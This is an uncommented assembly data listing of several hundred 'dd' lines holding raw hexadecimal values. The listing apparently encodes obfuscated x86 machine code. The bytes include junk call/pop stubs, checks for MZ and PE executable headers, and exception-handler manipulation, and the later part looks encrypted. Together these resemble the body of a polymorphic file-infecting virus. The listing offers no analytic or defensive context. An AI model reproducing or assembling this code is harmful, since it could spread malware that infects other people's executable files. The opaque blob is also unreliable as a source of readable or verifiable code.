		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 13E92Dh, 3FD70000h
		dd 22E4506Bh, 0ADE0EB51h, 0ACCEFB25h, 4C2B42DAh, 0FDB5FFEAh
		dd 6A062BA3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0CC28C350h, 0DF3BEF81h, 95FF1BAAh
		dd 6282CD1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	60C35242h, 240DF7D8h, 0FA1ABC7h, 389h, 0D9B70F00h
		dd 7E8h, 24ABDC00h, 12CFA0D5h, 55399DBFh, 50965B22h, 0FF88A52h
		dd 50585A31h, 96D88B66h, 0FFDE8B66h, 2BA3FDB5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0FFA84A3Ah, 2829B995h, 6E906h, 93100000h, 4074A9F3h
		dd 0C55BD83h, 0F000628h, 4B84h,	85BD8B00h, 9606280Eh, 310F5250h
		dd 0AE8h, 0BC1D6900h, 505F8249h, 6659E1C8h, 5B4CDEBFh
		dd 9650585Ah, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	67C35343h, 0B614C5D6h, 9D03A9B7h, 6280D01h, 0A3FDB5FFh
		dd 95FF062Bh, 6282285h,	1F6DB589h, 0B5FF0628h, 62BA3FDh
		dd 1021BD8Bh, 95FF0628h, 62810C1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 5C35040h, 0D5B58B60h, 66062814h
		dd 0F458F781h, 61BD8361h, 2062818h, 73840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 867927C3h, 4AF1C575h, 12B99D8Bh, 858B0628h, 6281259h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D5C35242h
		dd 8B57BCBEh, 2804A9BDh, 0C65B06h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 585C7FFh, 62813h
		dd 8B000000h, 280651BDh, 0F3D0E906h, 8589FFFFh,	6282979h
		dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0E4AB1CC3h, 2C05858Dh, 6A0628h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 9D8B03C3h
		dd 6282999h, 13199D89h,	60900628h, 8B66EEB2h, 8B5061D3h
		dd 6A90D9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F6D06C3h, 68Fh, 0E1BD3300h, 6A062832h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 6AF5A1DFh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 7B858D2Ch, 6A062D2Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CDC6C351h
		dd 0BD89BAC7h, 6280225h, 6A05C083h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7683C351h
		dd 0B07A7756h, 669C0F70h, 90CBC7BFh, 71BB5260h,	5A16BB85h
		dd 0DBB0BE66h, 8B605061h, 0B2BB66C7h, 6A90613Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0CC4EC356h, 0A257249h, 0BB4B2491h, 4D775E24h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 18CF86C3h, 5D74E462h, 8B84F8B2h, 28101DBDh, 89006A06h
		dd 2833718Dh, 3195FF06h, 6A062824h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0D999C350h
		dd 8DF43D9Dh, 2B94F38Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 1B6D09E8h, 0A90852AFh
		dd 8E0F5243h, 6, 840Fh,	0FF5B0000h, 0D98B66D1h,	2415BD83h
		dd 0F010628h, 6385h, 45858900h,	6A062802h, 53006A02h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 78C3790Ah, 71D1869Dh, 0D7811ACCh, 110B1D72h,	0E9525090h
		dd 0Dh,	8332ECD5h, 0E63EAC12h, 0D1A227D7h, 66310F95h, 585ADE8Bh
		dd 90F98B50h, 52D2B060h, 5BDE8B66h, 0D195FF61h,	0F906282Ch
		dd 0E29E9h, 0E800h, 815D0000h, 2D2E85EDh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 8B62DC1Bh, 281F6DBDh, 8DD88B06h, 2B85B085h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 971C384Dh, 0B1CF8164h, 90036AABh, 0FE950h, 7A1A0000h
		dd 17609E45h, 6F0E227Bh, 15EBE437h, 8A0F9033h, 6, 51D9D29h
		dd 0FF640628h, 35h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0D1C242FBh, 8A60CD35h
		dd 0CE9C1h, 0C8140000h,	809F8395h, 218B42FAh, 89618B07h
		dd 282F5185h, 25896406h, 0
		dd 0AE960h, 15880000h, 2B6FF232h, 94847FBBh, 5B616051h
		dd 5985FF61h, 0F5062816h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FC0275C3h, 2B59B5FFh
		dd 0DA8A0628h, 2DC195FFh, 31E90628h, 0F9000001h, 68D0Fh
		dd 9D330000h, 6280975h,	0BB6600B0h, 70E6E2BCh, 0D18D8953h
		dd 5B062811h, 0BD0B71E4h, 62824F9h, 830F613Ch, 104h, 68F0Fh
		dd 0BD0B0000h, 6281035h, 8BC8B60Fh, 280F319Dh, 6BA06h
		dd 0C18B0000h, 0DF98589h, 0E8C10628h, 0EBBF6604h, 0E2F766A7h
		dd 11399D89h, 0C82B0628h, 88E0Fh, 0F520000h, 8Bh, 0D18B5F00h
		dd 0BBE9h, 0B99D8900h, 80062818h, 858BCBEBh, 4947554Ch
		dd 4F9EE381h, 9D8961B5h, 62826F9h, 6007C083h, 2681B58Bh
		dd 0B58B0628h, 6281FD1h, 0C08361h, 830FD03Bh, 29h, 9D035360h
		dd 628150Dh, 0F6B70F59h, 72E961h, 12E90000h, 2000000h
		dd 1FE3CBCDh, 0BE7388D3h, 209A1BB2h, 55B151C8h,	0FF8D8B9Ah
		dd 0E8FFFFFFh, 14h, 12060AA8h, 0C0F0B9F1h, 0B12EBBCCh
		dd 0A7FB5C94h, 0F0622C37h, 70D9D89h, 835F0628h,	840F01E1h
		dd 2Ch,	0E9DABF0Fh, 0Ah, 17339655h, 0DE930DD4h,	0A5830B1Dh
		dd 0FFFFFFFFh, 89FE8BFEh, 47554C95h, 61BD8949h,	0E9062823h
		dd 0
		dd 0ACA8B58Dh, 0BD01062Ch, 628263Dh, 8166006Ah,	8BEC1BEFh
		dd 283339BDh, 6595FF06h, 66062804h, 2CB5DB81h, 0FA0B9h
		dd 0FEB70F00h, 6AFCE183h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0A46EC355h,	49E7BF99h
		dd 66FC795Ch, 2B9B79BFh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 9EA62C7Bh, 0BA6903h, 8B000000h
		dd 2824FDBDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 53006AF4h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 795536C8h, 83D78166h, 0FBBF0F94h, 880Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0D42F64DDh, 21D58D89h, 958B0628h, 6280715h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CEC35242h, 9E8h
		dd 0A3677F00h, 2A78DA42h, 0F5F4CBAh, 383h, 0FFB70F00h
		dd 21BD8D8Bh, 0F500628h, 28Dh, 5F616000h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 51006ADEh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 275C8031h, 25A1BD83h, 0F000628h, 7184h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 71858954h, 0F062811h, 0B8DAB7h, 0E9000000h, 13h, 20ADBD5Ah
		dd 0D991D965h, 47320865h, 0A7DCCEEBh, 8DDD1C1Eh, 284F6E8Dh
		dd 6AE1FF06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 3F8DC350h, 0D2F68981h,	9548BD17h
		dd 0BD83D88Bh, 628113Dh, 0B5840F00h, 6A000004h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 5A16C357h, 8E87E0C5h, 81C87868h, 7EE865C3h, 3DBD8347h
		dd 1062811h, 499840Fh, 0BD8B0000h, 6280305h, 71EF8166h
		dd 3DBD83E2h, 3062811h,	44B860Fh, 81660000h, 6024C2EFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C6C35646h
		dd 301A782Ah, 0BF66982Eh, 8C66DE5Eh, 959529D9h,	80062807h
		dd 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 573F33C3h, 0BD8B72A8h, 6283319h, 0C040BB66h
		dd 840FC90Ah, 1BFh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 22C35545h, 0EB0BDBEBh, 26D58D89h, 858B0628h
		dd 62824C9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	80C35242h, 67427E48h, 66D7664Ch, 335D6FBFh, 282D0585h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0FE924ECh, 10000000h, 3672A082h,	0B9BB5D9Fh
		dd 68FC154Ah, 6050AF46h, 0C16BA60h, 0FE963C4h, 9E000000h
		dd 4109241Fh, 0E185A48Ah, 7A87CC6Ch, 6161E820h,	89240489h
		dd 2808519Dh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 3866C357h, 95091ACFh
		dd 6280F8Dh, 4E8h, 1F03FF00h, 9E800h, 90810000h, 1E202082h
		dd 500F8747h, 0F5F5652h, 830F31h, 5A000000h, 8B505F58h
		dd 52042444h, 0E8616060h, 11h, 64393C06h, 10E098CBh, 0AD053BB8h
		dd 0D0D02EB8h, 5B615B02h, 0EE9008Bh, 39000000h,	0CC80415Fh
		dd 0A4F1B7FBh, 9BAE441Ah, 244489C4h, 830F04h, 58000000h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E8C35242h
		dd 0FF7A4EEEh, 28176D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0BC446035h
		dd 89F88B26h, 2BA3FD85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 801A782Ah, 0AFE923D7h
		dd 89000001h, 2804F98Dh, 46D38106h, 8B377F51h, 2BA3F585h
		dd 143ABB06h, 0C71EA7h,	18h, 68B0Fh, 9D890000h,	62822FDh
		dd 0A3F9B58Bh, 6A062Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0ABDF65C3h, 0AAD83D59h, 1451BD8Bh
		dd 8BF80628h, 282B6585h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 5ABF2252h, 86F39A24h
		dd 0BB6602DFh, 689143Ah, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 8AC35343h, 267B89Ch, 0FC8BCF8Fh, 0C9858B06h
		dd 6A062824h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0BFF8C352h, 50044689h,	0D29969BFh
		dd 2434893Ch, 0A5A7BB66h, 0A3F5B5FFh, 6A062Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0B3EB1AC3h, 0CEF88C28h, 5F68F953h, 0F3E6E21h, 0C86h
		dd 6E800h, 0F9C40000h, 0BA397A66h, 2434815Bh, 3E7122A0h
		dd 116DBD03h, 858D0628h, 62BA3FDh, 0D9BD8B50h, 5B062812h
		dd 0DE8B6650h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0AC01C357h,	298589D7h
		dd 0E906280Ch, 8, 0EF2F45D5h, 0CDEE79FFh, 176D95FFh, 6A0628h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 259773C3h, 605B395Dh, 0CE92Ah, 6B9D0000h, 3089037Eh
		dd 0DFE812A7h, 8961F734h, 282705B5h, 3D85C706h,	3062811h
		dd 0E9000000h, 6, 2908D241h, 0BD83BE32h, 62BA3FDh, 56840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 6079C356h, 25DB2D18h, 3F1BD8Bh
		dd 45E90628h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E973C350h,	9, 0A35E1FB8h
		dd 52109AEBh, 0C3050F3h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 6AFEB70Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 83A4C351h
		dd 28113DBDh, 850F0306h, 46Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 3C35343h, 2C7E8AC3h, 1A01BD8Bh
		dd 0CEBB0628h, 830AC46Ch, 2BA3FDBDh, 840F0006h,	432h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CCC35343h, 0FF422B98h
		dd 2BA3FDB5h, 3AC38106h, 8B123E6Fh, 2824799Dh, 9595FF06h
		dd 6A06280Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 5AE9C351h, 2903222Eh, 2803C995h
		dd 0F1B58B06h, 89062BA3h, 28082DB5h, 106C706h, 6A000100h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 5CF2C352h, 0BF660EF9h, 8D0F2270h,	0Ch, 68A0Fh
		dd 8D0F0000h, 0
		dd 89D98B50h, 0B5FF2434h, 62BA3FDh, 0FFD9BF0Fh,	28201995h
		dd 0EE806h, 0F4270000h,	0C87F4F41h, 59DD9A16h, 0EF5E332Fh
		dd 23FBBB66h, 0F1B58B5Fh, 6A062BA3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0C6BDC352h
		dd 61DBE919h, 0F567418h, 87h, 858B5F00h, 62817D5h, 263D9D8Bh
		dd 86890628h, 0C4h, 9AFABB57h, 0E95F04A4h, 9, 60AE3B4Bh
		dd 1EB4007h, 15958B73h,	0F5062807h, 6A04C283h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0CFFAC353h, 56BFCE4Ch, 0E852E83Eh, 13h, 3A747h, 9974702Fh
		dd 0F4B48549h, 66A873Ch, 29CF2C72h, 2805C99Dh, 895F5B06h
		dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F1D0AC3h, 385h, 0DF8B6600h, 0B8D9858Dh
		dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 6E588AC3h, 0E9523FC8h, 9,	0DCDFC059h, 0A99E8C06h
		dd 0B8868909h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E847C353h,	0Eh, 897D61A6h
		dd 613E81FAh, 0B2802725h, 820F2EFDh, 6,	12E1BD23h, 6A5B0628h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 6B4F8DA1h, 26E18589h, 0BD8B0628h, 628003Dh
		dd 0A3FDB5FFh, 6A062Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 6259A6C3h, 727DE0DBh, 812EC731h
		dd 0FF89C7CBh, 0D195FF60h, 6A06282Ch, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EA6CC352h
		dd 58B0Fh, 0A5BF0000h, 50634427h, 6A243489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0FAD9C356h, 0B5236071h, 62833BDh, 0FDB5FF61h, 0F062BA3h
		dd 38Bh, 21E78000h, 29B995FFh, 6A0628h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 492886C3h
		dd 0F9DE9706h, 6E9h, 859F2E00h,	8381F10Ah, 280C55BDh, 840F0006h
		dd 5Ch,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch
		dd 70C35141h, 0D0170FF1h, 0E65B8723h, 6DBF6650h, 2434893Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7DC35141h
		dd 57CDD67Fh, 95675126h, 0B9BD8B18h, 66062804h,	1A2DEB81h
		dd 0A3FDB5FFh, 95FF062Bh, 6282285h, 7E9h, 0CA63A00h, 1252496Ch
		dd 0A3FDB5FFh, 9D8B062Bh, 62820B1h, 10C195FFh, 6A0628h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 210149C3h, 8321359Dh, 281861BDh, 840F0206h, 4Ch, 0FDF8B66h
		dd 68Eh, 49BD8900h, 8B062825h, 28125985h, 9BB6606h, 6840FABh
		dd 2B000000h, 2814219Dh, 0C606h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 2EC35343h, 170830E4h, 65A23353h
		dd 130585C7h, 628h, 820F0000h, 6, 2511BD8Bh, 29E90628h
		dd 6AFFFFF3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E81CC355h, 0Bh, 0DBE42779h, 34E09C52h
		dd 5618BC96h, 12E9h, 37572400h,	0E2C54C5Ch, 0D6C5085Eh
		dd 0E1EC52CBh, 5B17CA55h, 0C381665Bh, 0C18B0884h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 30C35040h, 0BAF81Ah
		dd 81F00E10h, 0EAh, 14C283F0h, 0F399589h, 0EA830628h, 4F858D14h
		dd 50062D3Dh, 35FF64h, 64000000h, 2589h, 0E80000h, 58000000h
		dd 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h
		dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h
		dd 0C88BFFFFh, 2BDD8589h, 40030628h, 50B70F3Ch,	0A5958906h
		dd 8B062804h, 95895050h, 6282CE5h, 0F805h, 0C508B00h, 9589D103h
		dd 6280FF1h, 89085003h,	2818F595h, 58F6406h, 0
		dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 83C3C033h, 283311BDh, 840F0006h, 24h, 0D2585C6h
		dd 68470628h, 0D49AA7D2h, 140DB5FFh, 858D0628h,	62B6F58h
		dd 6AD0FFh, 8589D0FFh, 628188Dh, 8D8DD38Bh, 62D3E5Eh, 45AE381h
		dd 89F57E38h, 2807158Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0F74E152Ch, 8B1274B3h
		dd 2814FDBDh, 2820F06h,	0B7000000h, 0BD85C777h,	0E4062821h
		dd 0E900005Fh, 10h, 51A2A700h, 763AD26Bh, 0E606E6FFh, 4118CEFh
		dd 113D85C7h, 628h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 150424h, 56460000h, 0E8344BC3h, 5, 5B5C7405h
		dd 28F28165h, 58142B4Fh, 5E1B5FFh, 6A0628h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 95FF7CC3h
		dd 62814D9h, 95FF006Ah,	6280465h, 0CEBC08Bh, 8C602DA7h
		dd 0C60CC030h, 0B735038Ah, 3F188D8Dh, 6A062Dh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 2D5D71C3h, 6EBF568Eh, 7158D89h, 6A0628h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 110EACC3h
		dd 21BD85C7h, 63600628h, 0BD890000h, 6282079h, 21AD8D89h
		dd 85C70628h, 628113Dh,	0
		dd 13E9h, 9AC31300h, 35051338h,	1277FE19h, 42C8198h, 4F7192B1h
		dd 2B59B5FFh, 8D290628h, 62820B1h, 14D995FFh, 0E0810628h
		dd 573735D6h, 0CDD958Bh, 6A0628h, 46595FFh, 0C08B0628h
		dd 50A73CEBh, 744458E0h, 8B1270FDh, 0A2B0DCD1h,	6505C374h
		dd 0BD4EBBACh, 0DDB934B9h, 11E19036h, 0EAAA3B07h, 9CA00CBAh
		dd 32D61AEEh, 1BD232B5h, 0FB914BFAh, 1F1C009Ah,	0E0E2FF92h
		dd 5E81C3Ah, 0A6000000h, 928DE23Ah, 0F19D8B60h,	0E8062832h
		dd 14h,	0AB8EA803h, 42E6437Eh, 778FBABFh, 66D5BAEDh, 4CE7EB0Eh
		dd 58F1B70Fh, 958B5961h, 6280C29h, 6CAFC181h, 1ABA0000h
		dd 6867F408h, 0
		dd 299D8B60h, 61062817h, 718D8958h, 0FF062813h,	0B5230834h
		dd 62811C9h, 14E95Fh, 0F2180000h, 4A50710Dh, 71531DF6h
		dd 959EA0BEh, 0D1719CB9h, 0F781CBCAh, 0F95D225h, 96B2BA66h
		dd 0BA32F781h, 0D98B1A95h, 6DE2EF81h, 5E91B4Eh,	1D000000h
		dd 49F8ED7Dh, 958B5757h, 628230Dh, 1048F5Ah, 88F0Fh, 0F520000h
		dd 83h,	0BE665A00h, 0E8832AC3h,	99D8B03h, 4806282Ch, 5BE6B657h
		dd 9440F881h, 850FFFFFh, 13h, 11459D89h, 1BE90628h, 9E000000h
		dd 49742016h, 6651086Ah, 47BBE281h, 0FFFF66E9h,	5D971FFh
		dd 4DDA7953h, 0DCB556E2h, 0B5026673h, 96753373h, 3FE7F02Eh
		dd 3759171Fh, 0A3AA1737h, 0F3573373h, 5CC1F026h, 82BC8E42h
		dd 9E5355Bh, 0DCB5B8ABh, 0B5526573h, 965D3373h,	3FF0F02Dh
		dd 37531707h, 0A0AF1737h, 0F0D53373h, 9D23F025h, 0B0F33C3Eh
		dd 37BA3373h, 616E19B2h, 0FF13B060h, 0B6511B72h, 0B283A06h
		dd 0B0FD27B6h, 0E6F34773h, 0EB5B820h, 0B6BA3770h, 0B4CCB6FAh
		dd 2B23355Bh, 0B07D962Dh, 0EEF0E08Ch, 0A2108EF0h, 0C2EA355Bh
		dd 0E266364h, 0B6BA3770h, 0B4CCB6FAh, 2B23355Bh, 0B07D913Eh
		dd 0EEF0E08Ch, 286799C9h, 0E7EA5942h, 0B675309Bh, 75E31373h
		dd 9211BA2Ah, 92EAB277h, 0B6572B77h, 75FA7273h,	0B2A4AABFh
		dd 0EF7FBA97h, 3D731B71h, 4337BAB3h, 0D05B1B7Dh, 0FC8EBFFh
		dd 0B2FF99C2h, 0B555B77Ch, 0DB33373h, 796BC9DBh, 0C2DFB59Eh
		dd 0A8EF8EF0h, 0B95D355Bh, 0B6AE35F7h, 0B5B5DA73h, 85E3373h
		dd 0B4D51473h, 0B6E9B97Ch, 17A3373h, 663FBE8Dh,	0DC5B18FAh
		dd 0B5466373h, 96573373h, 3FF3F02Bh, 37D11737h,	0A2EE1737h
		dd 0F6753373h, 0B94AF023h, 66A2FCC4h, 5EFC3319h, 0B6573370h
		dd 0EC686953h, 0B2F167FAh, 0B2CE77F2h, 0B6753367h, 90796131h
		dd 2E228A15h, 32A1F3F6h, 0B657338Eh, 5EFA3319h,	0B6D53370h
		dd 0EF296A53h, 0B2517FFAh, 0B29E77F2h, 0B65D3364h, 0C6D6232h
		dd 0B9809F72h, 8E2AE1CCh, 4D545524h, 0B6A7B67Ch, 0B61F3373h
		dd 0B6B9DB25h, 0E87D3373h, 0C2276DB0h, 0F2D63757h, 0B6BF3757h
		dd 0E0933373h, 0B7B99CB0h, 9E5B8AEEh, 37DC6A75h, 0B45F370Bh
		dd 0B5CAB77Ch, 0B63D3373h, 0B6A8DB24h, 0E9F53373h, 0CA636CB0h
		dd 0F2F43757h, 0B6AF3757h, 0E11A3373h, 0D0CB35B0h, 0D6CB0BF2h
		dd 0B6DCB67Ch, 0B6BF3373h, 0B6E9DB21h, 0EC553373h, 0E23369B0h
		dd 0F2DC3757h, 0B6B83757h, 0E4153373h, 64AD2B0h, 0B6D5219Bh
		dd 9F371973h, 2493E08Eh, 0FADB3h, 171A93Ch, 0B9D3481Bh
		dd 0B65735FAh, 0B6203C73h, 0EFD53373h, 5EE84BF3h, 0B65EB67Ch
		dd 29003373h, 0D018CD90h, 0B6A84BF2h, 0ACD23CD8h, 37AB3373h
		dd 0C95E5490h, 0B43EDA20h, 0BC9C3373h, 41BA3373h, 4CFCBE3h
		dd 810E1E94h, 0B7578DDCh, 23207572h, 0B0FD2BEAh, 3F3AB6FEh
		dd 0B61F3558h, 0B6B9DB20h, 0ED7D3373h, 0EA2768B0h, 0F2D63757h
		dd 0B6B63757h, 0E5963373h, 0BDE188B0h, 2A3C5D48h, 491C0152h
		dd 0EFE255A3h, 0B96EB684h, 0B65570F7h, 0E5AB5973h, 0B6D5309Bh
		dd 75B11373h, 9229BA28h, 92FEB277h, 0B65D2F77h,	75FD7073h
		dd 7A914500h, 20E7C432h, 4F5E5517h, 0A217A6F8h,	8EF4355Bh
		dd 0B4B80E15h, 0B603B67Ch, 0B6C43373h, 0B654DB21h, 0EC8B3373h
		dd 0E25C69B0h, 0F26B3757h, 0B66E3757h, 0E4F83373h, 90BC0CB0h
		dd 72A96778h, 0AFDA1004h, 37AD1B5Ch, 8BB3350Bh,	32E5492Ch
		dd 0B6753161h, 5EEF3319h, 0B65D3370h, 0EB6D6E53h, 0B2735FFAh
		dd 0B28F77F2h, 0B6D53367h, 0C4296636h, 0B673B37Ch, 3B313373h
		dd 0B07521CEh, 2A96B215h, 6D23C13h, 0DCAB3373h,	0B53D6273h
		dd 96EA3373h, 3F2CF02Ah, 37BE173Fh, 0AA591737h,	0F7AE3373h
		dd 68FBF022h, 0FD486413h, 0D6037A2Bh, 0CAADD9F2h, 9136DB4h
		dd 36DBBE26h, 0B9B5310Bh, 0B6AE45F6h, 0E7575973h, 0B6AB309Bh
		dd 758C1373h, 92A6BA2Ah, 9231B277h, 0B6BA2777h,	750C7273h
		dd 3FC48474h, 9E7DCAC6h, 0CE2A5575h, 0B9153375h, 0B6EA75F6h
		dd 0A49C6273h, 1CBA3373h, 417F70Fh, 0D56CA7BCh,	0CF08D2E5h
		dd 5D5B19FDh, 0E13C69E2h, 0DCEA3372h, 0B59D6573h, 96BA3373h
		dd 3F03F02Dh, 37AA1707h, 0AC531737h, 0F0AB3373h, 2414F025h
		dd 7364A9D2h, 77F0BA6Fh, 8BC1B7Dh, 0C85C3273h, 37BAC9C8h
		dd 66D2BE6Eh, 0DCAD18FAh, 0B53D6673h, 96EA3373h, 3F28F02Eh
		dd 37BE171Fh, 0AD591737h, 0F3AE3373h, 0F400F026h, 8AD52975h
		dd 662A1082h, 37F5EAF2h, 76F05C11h, 0B614B77Ch,	36A83373h
		dd 33A1DB4Bh, 0B6573345h, 0A5A2BEFAh, 0CE55355Bh, 33E54076h
		dd 0B6753355h, 0A797865Ah, 0BEB5355Bh, 0B8AE3373h, 0FB90D51Dh
		dd 0B78A417Eh, 9ECA12E6h, 0CE6A6A75h, 327A6074h, 0B6BA33DDh
		dd 373BBFC2h, 0B9ABBC4Bh, 0B65750F6h, 367CB873h, 0B9BD350Bh
		dd 0B6EA64F6h, 0E5755973h, 0B6BA309Bh, 75061373h, 92F2BA28h
		dd 9213B277h, 0B6AB2477h, 75867073h, 0BE89AFB0h, 0B675279Ah
		dd 8B00B673h, 46791B48h, 0EDF24776h, 6CC09116h,	0D34D1FC8h
		dd 0CE54557Ch, 0B9CFCC78h, 0B67520F6h, 75315373h, 5F3CF9F8h
		dd 0B6AE3335h, 0DBDA3A25h, 0E9AD1B5Eh, 0B5F358h, 33E55369h
		dd 0B6753373h, 0D7DB5213h, 5F0DF6F3h, 0B6AE3358h, 5E023319h
		dd 0B6AB3370h, 0EB166E53h, 0B2CE5FFAh, 0B25177F2h, 0B6BA336Ah
